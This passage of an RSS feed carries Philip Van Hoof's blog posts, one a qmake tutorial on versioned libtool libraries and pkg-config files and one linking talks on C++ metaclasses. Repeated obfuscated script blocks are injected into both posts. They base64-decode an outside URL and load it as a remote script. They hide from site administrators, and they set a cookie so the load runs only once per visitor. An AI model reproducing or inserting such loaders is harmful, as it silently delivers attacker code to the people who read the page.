s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e89a506e4adf9c9a5011e8a3a5e52d284e33313331&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e89a506e4adf9c9a5011e8a3a5e52d284e33313331/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e89a506e4adf9c9a5011e8a3a5e52d284e33313331&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e89a506e4adf9c9a5011e8a3a5e52d284e33313331/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Tue, 07 Aug 2018 14:30:17 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e89a506e4adf9c9a5011e8a3a5e52d284e33313331</guid>
        </item>
        <item>
            <title>Doing it right, making libraries using popular build environments</title>
            <link>https://pvanhoof.be/blog/index.php/2018/07/11/doing-it-right-making-libraries-using-popular-build-environments</link>
            <description><![CDATA[
<p>Enough with the political posts!</p>
<p>Making libraries that are both API and libtool versioned with qmake, <a href="https://www.sciencechannel.com/tv-shows/how-do-they-do-it/">how do they do it</a>?</p>
<p>I started <a href="https://github.com/pvanhoof/dir-examples">a project on github that will collect what I will call &#8220;doing it right&#8221;</a> project structures for various build environments.</p>
<p>With right I mean that the library will have a API version in its Library name, that the library will be libtoolized and that a pkg-config .pc file gets installed for it.</p>
<p>I have in mind, for example, autotools, cmake, meson, qmake and plain make. First example that I have finished is <a href="https://github.com/pvanhoof/dir-examples/tree/master/qmake-example">one for qmake</a>.</p>
<p>Let&#8217;s get started working on a <a href="https://github.com/pvanhoof/dir-examples/blob/master/qmake-example/src/libs/qmake-example/qmake-example.pro">libqmake-example-3.2.so.3.2.1</a></p>
<p>We get the PREFIX, MAJOR_VERSION, MINOR_VERSION and PATCH_VERSION from a <a href="https://github.com/pvanhoof/dir-examples/blob/master/qmake-example/qmake-example.pri">project-wide include</a></p>
<pre>include(../../../qmake-example.pri)</pre>
<p>We will use the standard lib template of qmake</p>
<pre>TEMPLATE = lib</pre>
<p>We need to set VERSION to a <a href="http://semver.org">semver.org</a> version for compile_libtool (in reality it should use what is called current, revision and age to form an API and ABI version number. <a href="https://github.com/pvanhoof/dir-examples/blob/master/qmake-example/src/libs/qmake-example/qmake-example.pro">In the actual example</a> it&#8217;s explained in the comments, as this is too much for a small blog post).</p>
<pre>VERSION = $${MAJOR_VERSION}"."$${MINOR_VERSION}"."$${PATCH_VERSION}</pre>
<p>According <a href="https://autotools.io/libtool/version.html">section 4.3 of Autotools&#8217; mythbusters</a> we should have as target-name the API version in the library&#8217;s name</p>
<pre>TARGET = qmake-example-$${MAJOR_VERSION}"."$${MINOR_VERSION}</pre>
<p>We will write a define in <a href="https://github.com/pvanhoof/dir-examples/blob/master/qmake-example/src/libs/qmake-example/config.h.in">config.h</a> for access to the <a href="http://semver.org">semver.org</a> version as a double quoted string</p>
<pre>QMAKE_SUBSTITUTES += config.h.in</pre>
<p>Our example happens to use QDebug, so we need QtCore here</p>
<pre>QT = core</pre>
<p>This is of course optional</p>
<pre>CONFIG += c++14</pre>
<p>We will be using libtool style libraries</p>
<pre>CONFIG += compile_libtool
CONFIG += create_libtool</pre>
<p>These will create a pkg-config .pc file for us</p>
<pre>CONFIG += create_pc create_prl no_install_prl</pre>
<p>Project sources</p>
<pre>SOURCES = qmake-example.cpp</pre>
<p>Project&#8217;s public and private headers</p>
<pre>HEADERS = qmake-example.h</pre>
<p>We will install the headers in a API specific include path</p>
<pre>headers.path = $${PREFIX}/include/qmake-example-$${MAJOR_VERSION}"."$${MINOR_VERSION}</pre>
<p>Here put only the publicly installed headers</p>
<pre>headers.files = $${HEADERS}</pre>
<p>Here we will install the library to</p>
<pre>target.path = $${PREFIX}/lib</pre>
<p>This is the configuration for generating the pkg-config file</p>
<pre>QMAKE_PKGCONFIG_NAME = $${TARGET}
QMAKE_PKGCONFIG_DESCRIPTION = An example that illustrates how to do it right with qmake
# This is our libdir
QMAKE_PKGCONFIG_LIBDIR = $$target.path
# This is where our API specific headers are
QMAKE_PKGCONFIG_INCDIR = $$headers.path
QMAKE_PKGCONFIG_DESTDIR = pkgconfig
QMAKE_PKGCONFIG_PREFIX = $${PREFIX}
QMAKE_PKGCONFIG_VERSION = $$VERSION
# These are dependencies that our library needs
QMAKE_PKGCONFIG_REQUIRES = Qt5Core</pre>
<p>Installation targets (the pkg-config seems to install automatically)</p>
<pre>INSTALLS += headers target</pre>
<p>This will be the result after make-install</p>
<pre>├── include
│   └── qmake-example-3.2
│       └── qmake-example.h
└── lib
    ├── libqmake-example-3.2.so -&gt; libqmake-example-3.2.so.3.2.1
    ├── libqmake-example-3.2.so.3 -&gt; libqmake-example-3.2.so.3.2.1
    ├── libqmake-example-3.2.so.3.2 -&gt; libqmake-example-3.2.so.3.2.1
    ├── libqmake-example-3.2.so.3.2.1
    ├── libqmake-example-3.la
    └── pkgconfig
        └── qmake-example-3.pc</pre>
<p>ps. Dear friends working at their own customers: when I visit your customer, I no longer want to see that you produced completely stupid wrong qmake based projects for them. Libtoolize it all, get an API version in your Library&#8217;s so-name and do distribute a pkg-config .pc file. That&#8217;s the very least to pass your exam. Also read <a href="https://autotools.io/libtool/version.html">this document</a> (and stop pretending that you don&#8217;t need to know this when at the same time you charge them real money pretending that you know something about modern UNIX software development).</p>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e8855c49e7f9f4855c11e89b7d398765d1b96eb96e&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e8855c49e7f9f4855c11e89b7d398765d1b96eb96e/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e8855c49e7f9f4855c11e89b7d398765d1b96eb96e&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e8855c49e7f9f4855c11e89b7d398765d1b96eb96e/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Wed, 11 Jul 2018 22:25:36 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e8855c49e7f9f4855c11e89b7d398765d1b96eb96e</guid>
        </item>
        <item>
            <title>Metaclasses, generative C++</title>
            <link>https://pvanhoof.be/blog/index.php/2018/04/25/metaclasses-generative-c</link>
            <description><![CDATA[
<p>This is awesome:</p>
<p><iframe src="https://www.youtube.com/embed/6nsyX37nsRs" height="315" width="560" allowfullscreen="" frameborder="0"></iframe><br />
<a href="https://www.youtube.com/embed/6nsyX37nsRs">Youtube-link</a></p>
<p><iframe src="https://www.youtube.com/embed/4AfRAVcThyA" height="315" width="560" allowfullscreen="" frameborder="0"></iframe><br />
<a href="https://www.youtube.com/embed/4AfRAVcThyA">Youtube-link</a></p>
<p><iframe src="https://www.youtube.com/embed/NunSS_ppDsI" height="315" width="560" allowfullscreen="" frameborder="0"></iframe><br />
<a href="https://www.youtube.com/watch?v=NunSS_ppDsI">Youtube-link</a></p>
<ul>
<li><a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2018/p0707r3.pdf">Paper on the proposal</a></li>
<li><a href="https://herbsutter.com/2017/07/26/metaclasses-thoughts-on-generative-c/">Blog about it by Herb Sutter</a></li>
<li><a href="https://godbolt.org/g/Uzw5iJ">Live demo with Clang</a></li>
</ul>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 